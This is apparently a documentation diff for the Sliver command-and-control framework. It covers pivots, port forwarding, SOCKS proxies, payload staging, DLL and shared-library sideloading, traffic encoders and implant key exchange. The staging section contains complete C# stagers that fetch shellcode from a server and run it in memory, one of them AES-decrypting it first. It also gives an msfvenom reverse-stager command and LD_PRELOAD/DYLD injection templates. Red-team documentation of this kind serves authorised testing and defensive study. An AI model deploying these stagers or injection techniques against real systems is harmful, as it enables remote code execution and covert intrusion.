========== =============== =========== ====================================== ================= =============================== ================== =============================== =========
|
||||
13f9ee6b ROUND_ATELIER pivot 192.168.1.178:59290->WARM_DRIVEWAY-> WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]
|
||||
a2615359 WARM_DRIVEWAY mtls 192.168.1.178:59290 WIN-1TT1Q345B37 WIN-1TT1Q345B37\Administrator windows/amd64 Mon, 07 Feb 2022 10:15:11 CST [ALIVE]
|
||||
```
|
||||
|
||||
⚠️ **IMPORTANT:** In some environments you may need to use the `--allow-all` flag when starting the pviot listener to allow all users/groups
|
||||
@@ -0,0 +1,90 @@
|
||||
Sliver provides two mechanisms for port forwarding to tunnel additional connections / tools into the target environment via an implant:
|
||||
|
||||
- `portfwd` - This command (available on all C2s) uses Sliver's in-band tunnels to transfer data between your local machine and the implant network (i.e., if you're using HTTP C2 all port forwarded traffic is tunneled over HTTP, same for mTLS/DNS/etc.)
|
||||
- `wg-portfwd` - This command uses WireGuard port forwarding, and is only available when using WireGuard C2.
|
||||
|
||||
**NOTE:** Generally speaking `wg-portfwd` is faster and more reliable, we recommend using it whenever possible. Some protocols may be unstable, or may not work when tunneled via `portfwd`. However, `wg-portfwd` does requires a little extra setup (see below).
|
||||
|
||||
## In-Band Tunneled Port Forwarding
|
||||
|
||||
Tunneled port forwarding can be done over any C2 transport, and should work out of the box. Interact with the session you'd like to port forward through and use the `portfwd add` command:
|
||||
|
||||
```
|
||||
sliver (STUCK_ARTICLE) > portfwd add --remote 10.10.10.10:22
|
||||
|
||||
[*] Port forwarding 127.0.0.1:8080 -> 10.10.10.10:22
|
||||
```
|
||||
|
||||
By default all port forwards will be bound to the `127.0.0.1` interface, but you can override this using the `--bind` flag. Port forwarding also works in `multiplayer` mode and will forward ports to your local system.
|
||||
|
||||
#### Reverse Port Forwarding
|
||||
|
||||
As of v1.5.27 Sliver also supports reverse port forwarding via the `rportfwd` command.
|
||||
|
||||
## WireGuard Port Forwarding
|
||||
|
||||
In order to use `wg-portfwd` you'll need a WireGuard client, any client should work. However, we recommend using `wg-quick`, which is included in the `wireguard-tools` package available on most platforms (see [WireGuard](https://www.wireguard.com/install/) for more platforms):
|
||||
|
||||
- MacOS `brew install wireguard-tools`
|
||||
- Ubuntu/Kali `sudo apt install wireguard-tools`
|
||||
|
||||
First generate a WireGuard C2 implant (using `generate --wg`), and then start a WireGuard listener:
|
||||
|
||||
```
|
||||
sliver > wg
|
||||
|
||||
[*] Starting Wireguard listener ...
|
||||
[*] Successfully started job #1
|
||||
|
||||
sliver > jobs
|
||||
|
||||
ID Name Protocol Port
|
||||
== ==== ======== ====
|
||||
1 wg udp 53
|
||||
```
|
||||
|
||||
Next, using Sliver you can create WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file):
|
||||
|
||||
```
|
||||
sliver > wg-config
|
||||
|
||||
[*] New client config:
|
||||
[Interface]
|
||||
Address = 100.64.0.16/16
|
||||
ListenPort = 51902
|
||||
PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
|
||||
MTU = 1420
|
||||
|
||||
[Peer]
|
||||
PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
|
||||
AllowedIPs = 100.64.0.0/16
|
||||
Endpoint = <configure yourself>
|
||||
```
|
||||
|
||||
The only thing in the configuration file you'll need to change is the `Endpoint` setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as `--lhost` when generating the binary.
|
||||
|
||||
Make sure your WireGuard listener is running and connect using the client configuration:
|
||||
|
||||
```
|
||||
$ wg-quick up wireguard.conf
|
||||
```
|
||||
|
||||
Now that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect:
|
||||
|
||||
```
|
||||
sliver > sessions
|
||||
|
||||
ID Name Transport Remote Address Hostname Username Operating System Last Check-in Health
|
||||
== ==== ========= ============== ======== ======== ================ ============= ======
|
||||
1 STUCK_ARTICLE wg 100.64.0.17:53565 MacBook-Pro jdoe darwin/amd64 Wed, 12 Apr 2021 19:21:00 CDT [ALIVE]
|
||||
```
|
||||
|
||||
Interact with the session, and use `wg-portfwd add` to create port forwards:
|
||||
|
||||
```
|
||||
sliver (STUCK_ARTICLE) > wg-portfwd add --remote 10.10.10.10:3389
|
||||
|
||||
[*] Port forwarding 100.64.0.17:1080 -> 10.10.10.10:3389
|
||||
```
|
||||
|
||||
You can now connect to `100.64.0.17:1080` via your WireGuard interface and the connection will come out at `10.10.10.10:3389`!
|
||||
@@ -0,0 +1,74 @@
|
||||
Sliver supports two types of SOCKS5 proxies, an "in-band" proxy that tunnels though any C2 protocol, and WireGuard SOCKS proxy (only available when using WireGuard C2).
|
||||
|
||||
## In-band SOCKS5
|
||||
|
||||
An in-band reverse SOCKS5 proxy is supported in Sliver versions 1.5 and later. Note that the SOCKS proxy feature can only be used on sessions (i.e., interactive sessions) and not beacons.
|
||||
|
||||
```
|
||||
sliver (UGLY_SCARIFICATION) > socks5 add
|
||||
|
||||
[*] Started SOCKS5 127.0.0.1 1081
|
||||
⚠️ In-band SOCKS proxies can be a little unstable depending on protocol
|
||||
```
|
||||
|
||||
Simply upstream to `127.0.0.1:1081` from here, see `socks5 add --help` for more options.
|
||||
|
||||
## WireGuard SOCKS5
|
||||
|
||||
In order to use `wg-socks` you'll need a WireGuard client, any client should work. However, we recommend using `wg-quick`, which is included in the `wireguard-tools` package available on most platforms (see [WireGuard](https://www.wireguard.com/install/) for more platforms):
|
||||
|
||||
- MacOS `brew install wireguard-tools`
|
||||
- Ubuntu/Kali `sudo apt install wireguard-tools`
|
||||
|
||||
First generate a WireGuard C2 implant (using `generate --wg`), and then start a WireGuard listener:
|
||||
|
||||
```
|
||||
sliver > wg
|
||||
|
||||
[*] Starting Wireguard listener ...
|
||||
[*] Successfully started job #1
|
||||
|
||||
sliver > jobs
|
||||
|
||||
ID Name Protocol Port
|
||||
== ==== ======== ====
|
||||
1 wg udp 53
|
||||
```
|
||||
|
||||
Next, using Sliver you can create WireGuard client configuration using the `wg-config` command (you can use `--save` to write the configuration directly to a file):
|
||||
|
||||
```
|
||||
sliver > wg-config
|
||||
|
||||
[*] New client config:
|
||||
[Interface]
|
||||
Address = 100.64.0.16/16
|
||||
ListenPort = 51902
|
||||
PrivateKey = eMdqQ5zEF9Oflj+7wfyFQZjES02rfSBfZEN701FzmmQ=
|
||||
MTU = 1420
|
||||
|
||||
[Peer]
|
||||
PublicKey = HNFS0FydHkuCtEFPPFb3b2IW7iSmFajRJ2qSjifidiM=
|
||||
AllowedIPs = 100.64.0.0/16
|
||||
Endpoint = <configure yourself>
|
||||
```
|
||||
|
||||
The only thing in the configuration file you'll need to change is the `Endpoint` setting, configure this to point to the Sliver server's WireGuard listener, and ensure to include the port number (by default UDP 53). Generally this will be the same value you specified as `--lhost` when generating the binary.
|
||||
|
||||
Make sure your WireGuard listener is running and connect using the client configuration:
|
||||
|
||||
```
|
||||
$ wg-quick up wireguard.conf
|
||||
```
|
||||
|
||||
Now that your machine is connected to the Sliver WireGuard listener, just wait for an implant to connect:
|
||||
|
||||
```
|
||||
sliver > sessions
|
||||
|
||||
ID Name Transport Remote Address Hostname Username Operating System Last Check-in Health
|
||||
== ==== ========= ============== ======== ======== ================ ============= ======
|
||||
1 STUCK_ARTICLE wg 100.64.0.17:53565 MacBook-Pro jdoe darwin/amd64 Wed, 12 Apr 2021 19:21:00 CDT [ALIVE]
|
||||
```
|
||||
|
||||
Interact with the session, and use `wg-socks` to create a SOCKS proxy!
|
||||
@@ -0,0 +1,225 @@
|
||||
**⚠️ Important:** You must have MinGW installed on your Sliver server to get some staged (e.g., Windows DLLs) payloads to work.
|
||||
|
||||
## Overview
|
||||
|
||||
As payloads can be pretty big (around 10MB), you may sometime require the use of stagers to execute your implant on a target system.
|
||||
|
||||
Sliver supports the `meterpreter` staging protocol over TCP and HTTP(S). This protocol is pretty straight forward:
|
||||
|
||||
- read the size of the stage 2 payload on the wire (the first 4 bytes for the TCP stager)
|
||||
- download the stage 2
|
||||
- allocate the size read in the first step, and write the stage in memory
|
||||
|
||||
For this to work, we need the following pieces:
|
||||
|
||||
- a staging server (the Sliver server)
|
||||
- a stage 2 payload (usually a Sliver shellcode, but can be in other formats)
|
||||
- stagers (generated by `msfvenom`, the Sliver `generate stager` command, or a custom one)
|
||||
|
||||
## Example
|
||||
|
||||
Sliver implements staging by reusing the profiles feature. Profiles are sorts of implant blueprints that define a configuration to be reused by the `profiles new` command.
|
||||
The following command creates a new profile that we will use for our staging listener:
|
||||
|
||||
```
|
||||
sliver > profiles new --mtls 192.168.122.1 --format shellcode win-shellcode
|
||||
|
||||
[*] Saved new profile win-shellcode
|
||||
|
||||
sliver > profiles
|
||||
|
||||
Name Platform Command & Control Debug Format Obfuscation Limitations
|
||||
==== ======== ================= ===== ====== =========== ===========
|
||||
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
|
||||
```
|
||||
|
||||
We can now create a staging listener and link it to the profile:
|
||||
|
||||
```
|
||||
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode
|
||||
|
||||
[*] No builds found for profile win-shellcode, generating a new one
|
||||
[*] Job 1 (tcp) started
|
||||
sliver > jobs
|
||||
|
||||
ID Name Protocol Port
|
||||
== ==== ======== ====
|
||||
1 http tcp 1234
|
||||
2 mtls tcp 8888
|
||||
```
|
||||
|
||||
### Metasploit: Bring Your Own Stager
|
||||
|
||||
If you want to use [stagers generated by the Metasploit Framework with Sliver](https://www.rapid7.com/blog/post/2022/09/16/metasploit-weekly-wrap-up-176/) (using `msfconsole`, `msfvenom` or the `generate stager` command), you will need to pass the additional `--prepend-size` flag to `stage-listener`, like this:
|
||||
|
||||
```
|
||||
sliver > stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size
|
||||
```
|
||||
|
||||
This will prepend the size of the payload to the final binary sent to the stager, as required by Metasploit's `custom` payloads.
|
||||
|
||||
Sliver staging listeners only accept `tcp://`, `http://` and `https://` schemes for the `--url` flag. The format for this flag is `scheme://IP:PORT`. If no value is specified for `PORT`, an error will be thrown out.
|
||||
|
||||
We can now generate a stager using the `generate stager` command:
|
||||
|
||||
```
|
||||
sliver > generate stager --lhost 192.168.122.1 --lport 1234 --protocol http --save /tmp
|
||||
|
||||
[*] Sliver stager saved to: /tmp/CIRCULAR_BRA
|
||||
```
|
||||
|
||||
By default, the staging protocol used is TCP. The `--protocol` flag can be used to specify either `tcp`, `http` or `https` as the staging protocol.
|
||||
The generated shellcode can now be used on the target system to start a new Sliver session.
|
||||
|
||||
## Generating Stagers with the Metasploit Framework
|
||||
|
||||
The Metasploit framework can also be used to generate stager shellcodes or binaries. One can use either `msfconsole` or `msfvenom` directly, and choose a `custom` payload type:
|
||||
|
||||
```
|
||||
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.122.1 LPORT=1234 LURI=/hello.woff -f raw -o /tmp/stager.bin
|
||||
```
|
||||
|
||||
**Remark**: At the moment, the `custom/reverse_http` payload is not compatible with Sliver shellcodes (the stager crashes). However, one can use the `custom/reverse_winhttp` payload instead.
|
||||
|
||||
## Custom Stagers
|
||||
|
||||
One thing to consider while writing or using a custom stager, especially for the HTTP protocol, is that the Sliver server will only serve stage 2 payloads on specifically defined URLs. Indeed, since the HTTP staging listener is reusing the regular HTTP listener, it follows the same [procedural HTTP protocol](/docs?name=HTTPS+C2).
|
||||
|
||||
The default file extension used to retrieve a stage 2 payload is `.woff`. It can be configured in the [HTTP C2 options](/docs?name=HTTPS+C2) using the `stager_file_ext` setting.
|
||||
|
||||
As a result, if you want to implement your own stager to fetch a stage 2 payload via HTTP, you need to query a URL that looks like this: `http://SLIVER-SERVER:STAGING-PORT/whatever.woff`.
|
||||
|
||||
Here is a C# example of a custom HTTP stager, make sure to compile the C# code for the correct CPU architecture e.g. `/platform:x64`:
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace SliverStager
|
||||
{
|
||||
public class Stager
|
||||
{
|
||||
private static string url = "http://a.bc/test.woff";
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
|
||||
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
|
||||
|
||||
public static void DownloadAndExecute()
|
||||
{
|
||||
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
|
||||
System.Net.WebClient client = new System.Net.WebClient();
|
||||
byte[] shellcode = client.DownloadData(url);
|
||||
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
|
||||
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
|
||||
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
|
||||
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
return;
|
||||
}
|
||||
|
||||
public static void Main(String[] args)
|
||||
{
|
||||
DownloadAndExecute();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Encrypted Stage Example
|
||||
|
||||
Sliver supports encryption and compression when serving stages. Compression options are `zlib`, `gzip`, and `deflate` (level 9). Encryption is done via AES-CBC-128, since this encryption is primarily for obfuscation we don't really need a more secure cipher mode.
|
||||
|
||||
```
|
||||
stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(G+KbPeShVmYq3t --aes-encrypt-iv 8y/B?E(G+KbPeShV
|
||||
```
|
||||
|
||||
If aes-encrypt-iv is not set it defaults to `0000000000000000`. After the stage generation is completed AES key and iv are displayed. Note that this example does not include compression:
|
||||
|
||||
```csharp
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
|
||||
namespace Sliver_stager
|
||||
{
|
||||
class Program
|
||||
{
|
||||
private static string AESKey = "D(G+KbPeShVmYq3t";
|
||||
private static string AESIV = "8y/B?E(G+KbPeShV";
|
||||
private static string url = "http://192.168.24.128:8443/test.woff";
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
|
||||
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
|
||||
|
||||
public static void DownloadAndExecute()
|
||||
{
|
||||
ServicePointManager.ServerCertificateValidationCallback += (sender, certificate, chain, sslPolicyErrors) => true;
|
||||
System.Net.WebClient client = new System.Net.WebClient();
|
||||
byte[] shellcode = client.DownloadData(url);
|
||||
|
||||
List<byte> l = new List<byte> { };
|
||||
|
||||
for (int i = 16; i <= shellcode.Length -1; i++) {
|
||||
l.Add(shellcode[i]);
|
||||
}
|
||||
|
||||
byte[] actual = l.ToArray();
|
||||
|
||||
byte[] decrypted;
|
||||
|
||||
decrypted = Decrypt(actual, AESKey, AESIV);
|
||||
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40);
|
||||
Marshal.Copy(decrypted, 0, addr, decrypted.Length);
|
||||
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
|
||||
WaitForSingleObject(hThread, 0xFFFFFFFF);
|
||||
return;
|
||||
}
|
||||
|
||||
private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV)
|
||||
{
|
||||
byte[] key = Encoding.UTF8.GetBytes(AESKey);
|
||||
byte[] IV = Encoding.UTF8.GetBytes(AESIV);
|
||||
|
||||
using (Aes aesAlg = Aes.Create())
|
||||
{
|
||||
aesAlg.Key = key;
|
||||
aesAlg.IV = IV;
|
||||
aesAlg.Padding = PaddingMode.None;
|
||||
|
||||
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
|
||||
|
||||
using (MemoryStream memoryStream = new MemoryStream(ciphertext))
|
||||
{
|
||||
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write))
|
||||
{
|
||||
cryptoStream.Write(ciphertext, 0, ciphertext.Length);
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void Main(String[] args)
|
||||
{
|
||||
DownloadAndExecute();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
@@ -0,0 +1,169 @@
|
||||
## Sideloading Features
|
||||
|
||||
Sliver implants support three different ways of loading third party tools:
|
||||
|
||||
- `execute-assembly`
|
||||
- `sideload`
|
||||
- `spawndll`
|
||||
|
||||
## Known Limitations
|
||||
|
||||
Arguments passed to .NET assemblies and non-reflective PE extensions are limited to 256 characters. This is due to a limitation in the Donut loader Sliver is using. A workaround for .NET assemblies is to execute them in-process, using the `--in-process` flag, or a custom BOF extension like `inline-execute-assembly`. There is currently no workaround for non-reflective PE extension.
|
||||
|
||||
## Loading .NET Assemblies
|
||||
|
||||
This feature is only supported on Windows.
|
||||
|
||||
Using `execute-assembly`, one can run an arbitrary .NET assembly on a remote system via a Sliver implant. The implant will start a sacrificial process (`notepad.exe` by default, you can change this by using the `--process`) that will host a reflective DLL used to load the .NET CLR. The assembly will then be copied into this process and a new thread will start on the reflective DLL entrypoint, which will load and run the assembly in memory.
|
||||
|
||||
Here's an example with [Seatbelt](https://github.com/GhostPack/Seatbelt):
|
||||
|
||||
```
|
||||
sliver (CONCRETE_STEEL) > execute-assembly -t 80 /tmp/Seatbelt.exe All
|
||||
[*] Assembly output:
|
||||
|
||||
%&&@@@&&
|
||||
&&&&&&&%%%, #&&@@@@@@%%%%%%###############%
|
||||
&%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((
|
||||
#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((
|
||||
#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((
|
||||
#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((
|
||||
#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####
|
||||
###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####
|
||||
#####%###################### %%%.. @////(((&%%%%%%%################
|
||||
&%& %%%%% Seatbelt %////(((&%%%%%%%%#############*
|
||||
&%%&&&%%%%% v0.2.0 ,(((&%%%%%%%%%%%%%%%%%,
|
||||
#%%%%##,
|
||||
|
||||
=== Running System Triage Checks ===
|
||||
|
||||
=== Basic OS Information ===
|
||||
|
||||
Hostname : DESKTOP-0QQJ4JL
|
||||
Domain Name :
|
||||
Username : DESKTOP-0QQJ4JL\lab
|
||||
ProductName : Windows 10 Pro
|
||||
EditionID : Professional
|
||||
ReleaseId : 1909
|
||||
BuildBranch : 19h1_release
|
||||
CurrentMajorVersionNumber : 10
|
||||
CurrentVersion : 6.3
|
||||
Architecture : AMD64
|
||||
ProcessorCount : 2
|
||||
IsVirtualMachine : True
|
||||
BootTime (approx) : 5/19/2020 8:55:55 AM
|
||||
HighIntegrity : False
|
||||
IsLocalAdmin : True
|
||||
[*] In medium integrity but user is a local administrator- UAC can be bypassed.
|
||||
...
|
||||
```
|
||||
|
||||
## Shared Library Side Loading
|
||||
|
||||
The `sideload` command allows to load and run code in-memory (Windows/Linux) or via dropping a temporary file to disk (MacOS). On Windows, the DLL will be converted to a shellcode via [sRDI](https://github.com/monoxgas/sRDI) and injected into a sacrificial process.
|
||||
|
||||
On Linux systems, Sliver uses the `LD_PRELOAD` technique to preload a shared library previously written in a memory file descriptor using the `memfd_create` syscall. That way, no file is stored on disk, which grants the implant a bit of stealth. The shared library is preloaded in a sacrificial process, which is `/bin/ls` by default.
|
||||
|
||||
On MacOS systems, Sliver uses the `DYLD_INSERT_LIBRARIES` environment variable to preload a dynamic library into a program, chosen by the operator. The target program must allow unsigned libraries to be loaded that way.
|
||||
|
||||
No specific operation is performed by Sliver for Linux and Mac OS shared libraries, which means it's up to the operator to build their shared libraries to execute whenever they see fit. A good starting point would be using the `constructor` attribute for MacOS shared libraries, or adding a `.init_array` section for the Linux version.
|
||||
|
||||
Sliver will use the `LD_PARAMS` environment variable to pass arguments to the sideloaded libraries. Thus, the library can just read this environment variable to retrieve parameters and act accordingly.
|
||||
|
||||
Here's a starting point :
|
||||
|
||||
```c
|
||||
#if __linux__
|
||||
#include <stdlib.h>
|
||||
|
||||
void DoStuff();
|
||||
|
||||
static void init(int argc, char **argv, char **envp)
|
||||
{
|
||||
// unset LD_PRELOAD to prevent sub processes from misbehaving
|
||||
unsetenv("LD_PRELOAD");
|
||||
// retrieve the LD_PARAMS value
|
||||
// unset LD_PARAMS if there's no need for it anymore
|
||||
unsetenv("LD_PARAMS");
|
||||
DoStuff();
|
||||
}
|
||||
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
|
||||
#elif __APPLE__
|
||||
void DoStuff();
|
||||
|
||||
__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
|
||||
{
|
||||
// unset DYLD_INSERT_LIBRARIES to prevent sub processes from misbehaving
|
||||
unsetenv("DYLD_INSERT_LIBRARIES");
|
||||
// retrieve the LD_PARAMS value
|
||||
// unset LD_PARAMS if there's no need for it anymore
|
||||
unsetenv("LD_PARAMS");
|
||||
DoStuff();
|
||||
}
|
||||
|
||||
#endif
|
||||
```
|
||||
|
||||
Don't forget to unset the `LD_PRELOAD` or `DYLD_INSERT_LIBRARIES` environment variables, otherwise any sub process started by your shared library or host process will be preloaded with your shared library.
|
||||
|
||||
To side load a shared library, use the `sideload` command like this:
|
||||
|
||||
```
|
||||
// Windows example
|
||||
sliver (CONCRETE_STEEL) > sideload -e ChromeDump /tmp/chrome-dump.dll
|
||||
// Linux example
|
||||
sliver (CONCRETE_STEEL) > sideload -p /bin/bash -a "My arguments" /tmp/mylib.so
|
||||
// MacOS example
|
||||
sliver (CONCRETE_STEEL) > sideload -p /Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment -a 'Hello World' /tmp/mylib.dylib
|
||||
```
|
||||
|
||||
Please be aware that you need to specify the entrypoint to execute for Windows DLLs.
|
||||
|
||||
## Loading Reflective DLLs
|
||||
|
||||
Loading reflective DLLs is just a special case of side loading DLLs. To make things easier, the `spawndll` command allows you to inject reflective DLLs and run them in a remote process.
|
||||
|
||||
Here's an example with the `PsC` tool from [Outflank's Ps-Tools suite](https://github.com/outflanknl/Ps-Tools):
|
||||
|
||||
```
|
||||
sliver (CONCRETE_STEEL) > spawndll /tmp/Outflank-PsC.dll blah
|
||||
[*] Output:
|
||||
|
||||
--------------------------------------------------------------------
|
||||
[+] ProcessName: svchost.exe
|
||||
ProcessID: 2960
|
||||
PPID: 576 (services.exe)
|
||||
CreateTime: 19/05/2020 10:53
|
||||
Path: C:\Windows\System32\svchost.exe
|
||||
ImageType: 64-bit
|
||||
CompanyName: Microsoft Corporation
|
||||
Description: Host Process for Windows Services
|
||||
Version: 10.0.18362.1
|
||||
|
||||
<-> Session: TCP
|
||||
State: ESTABLISHED
|
||||
Local Addr: 172.16.241.128:49819
|
||||
Remote Addr: 40.67.251.132:443
|
||||
|
||||
--------------------------------------------------------------------
|
||||
[+] ProcessName: CONCRETE_STEEL.exe
|
||||
ProcessID: 7400
|
||||
PPID: 5440 (explorer.exe)
|
||||
CreateTime: 19/05/2020 10:54
|
||||
SessionID: 1
|
||||
Path: C:\Users\lab\Desktop\CONCRETE_STEEL.exe
|
||||
ImageType: 64-bit
|
||||
UserName: DESKTOP-0QQJ4JL\lab
|
||||
Integrity: Medium
|
||||
PEB Address: 0x0000000000352000
|
||||
ImagePath: C:\Users\lab\Desktop\CONCRETE_STEEL.exe
|
||||
CommandLine: "C:\Users\lab\Desktop\CONCRETE_STEEL.exe"
|
||||
|
||||
<-> Session: TCP
|
||||
State: ESTABLISHED
|
||||
Local Addr: 172.16.241.128:49687
|
||||
Remote Addr: 172.16.241.1:8888
|
||||
```
|
||||
|
||||
Note that in this case, the entrypoint of the reflective DLL (`ReflectiveLoader`) expects a non NULL parameter, which is why we passed a dummy parameter `blah`.
|
||||
@@ -0,0 +1,53 @@
|
||||
⚠️ This page describes an unreleased feature from an upcoming version ⚠️
|
||||
|
||||
As of v1.6.0 Sliver supports user-defined "Traffic Encoders," which can be used to arbitrarily modify the Sliver implant's network communication over HTTP(S). Traffic Encoders are [Wasm-based](https://webassembly.org/) callback functions that encode/decode network traffic between the implant and the server. Traffic encoders can be written in any language that compiles to [Wasm](https://webassembly.org/). Traffic encoders are supported on all platforms and CPU architectures that Sliver can target, though performance may vary significantly.
|
||||
|
||||
[Examples](https://github.com/BishopFox/sliver/tree/v1.6.0/master/server/assets/traffic-encoders) are provided in this repository of a [Rust](https://www.rust-lang.org/)-based and a [TinyGo](https://tinygo.org/)-based encoder. For performance reasons we recommend implementing Traffic Encoders in Rust.
|
||||
|
||||
For performance reasons, by default C2 messages over 2Mb in size are NOT passed through user-defined Traffic Encoders, but instead always use a native built-in encoder; this limit can be configured at implant generation-time.
|
||||
|
||||
## Traffic Encoder Specification
|
||||
|
||||
### Exports
|
||||
|
||||
Traffic encoders are implemented in Wasm, and must export the following functions:
|
||||
|
||||
```go
|
||||
decode(ptr, size uint32) (ptrSize uint64)
|
||||
encode(ptr, size uint32) (ptrSize uint64)
|
||||
|
||||
malloc(size uint32) uint64
|
||||
free(ptr uint32, size uint32)
|
||||
```
|
||||
|
||||
The `encode` function takes a `uint32` pointer to a buffer and the `uint32` size of the buffer, and returns a `uint64` value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer.
|
||||
|
||||
The `decode` function takes a `uint32` pointer to a buffer and the `uint32` size of the buffer, and returns a `uint64` value where the upper 32 bits are a pointer to the address of the buffer and the lower 32 bits are the size of the buffer.
|
||||
|
||||
The `malloc` function takes a `uint64` size. The function should allocate a buffer of the given size in bytes, and return a pointer to.
|
||||
|
||||
The `free` function takes a pointer to memory which should be freed and a size.
|
||||
|
||||
For example, a return value in Go may look like:
|
||||
|
||||
```go
|
||||
return (uint64(ptr) << uint64(32)) | uint64(size)
|
||||
```
|
||||
|
||||
Where `ptr` is a pointer to the buffer and `size` is the size of the buffer.
|
||||
|
||||
### Imports
|
||||
|
||||
Optionally, the following imports may be used:
|
||||
|
||||
```go
|
||||
log(ptr uint32, size uint32)
|
||||
rand() uint64
|
||||
time() int64
|
||||
```
|
||||
|
||||
The `log` function takes a pointer to a buffer and the size of the buffer, and logs the contents of the buffer to the console if the implant is in debug mode. On the server will also log the contents if configured to log at the DEBUG level or higher.
|
||||
|
||||
The `rand()` function returns 64-bits of cryptographically secure random data.
|
||||
|
||||
The `time()` function returns the current Unix Nano time as an `int64`.
|
||||
@@ -0,0 +1,100 @@
|
||||
**⚠️ NOTE:** This document does not apply when mTLS or WireGuard are used.
|
||||
|
||||
# Versions 1.5.40+
|
||||
|
||||
The following keys are embedded in each implant at compile time, the server also stores these values in its database in addition to the SHA2-256 hash of the implant's peer public key:
|
||||
|
||||
1. Age public key of server
|
||||
2. Age implant "peer" public key
|
||||
3. Age implant "peer" private key
|
||||
4. A minisign signature of the implant's age peer public key (signed by server's private key)
|
||||
5. The server's minisign public key
|
||||
|
||||
### Server to Implant Key Exchange
|
||||
|
||||
1. Implant generates random 256-bit symmetric "session key"
|
||||
2. Implant generates:
|
||||
|
||||
- Calculate the HMAC-SHA2-256 of the session key, where the HMAC key is the SHA2-256 hash of the peer private key
|
||||
- Uses Age to encrypt session key and HMAC-SHA256 with server's public key
|
||||
|
||||
3. Implant sends `[SHA2-256 Hash of Public Key | Age Ciphertext ]` to server.
|
||||
4. Server decrypts message with its private key
|
||||
5. Server generates a session ID, encrypts it with the session key using ChaCha20Poly1305, and sends it back
|
||||
6. All messages are encrypted with the session key using ChaCha20Poly1305 and associated with via the session ID
|
||||
7. Each side stores a SHA2-256 hash of each message's ciphertext to detect replayed messages
|
||||
|
||||
### Implant to Implant Key Exchange (Pivots)
|
||||
|
||||
1. An implant starts a pivot listener (the listener)
|
||||
2. Another implant connects to the listener (the initiator)
|
||||
3. The initiator sends its Age public key and the minisign signature of its public key
|
||||
4. The listener verifies the initiator's public key is signed by the listener's server's minisign public key
|
||||
5. The listener generates a random session key and encrypts it with the initiator's verified public key
|
||||
6. The listener sends its Age public key, the minisign signature of its public key, and the encrypted session key back to the initiator
|
||||
7. The initiator verifies the listener's public key is signed by the initiator's server's minisign public key
|
||||
8. The initiator decrypts the session key using Age
|
||||
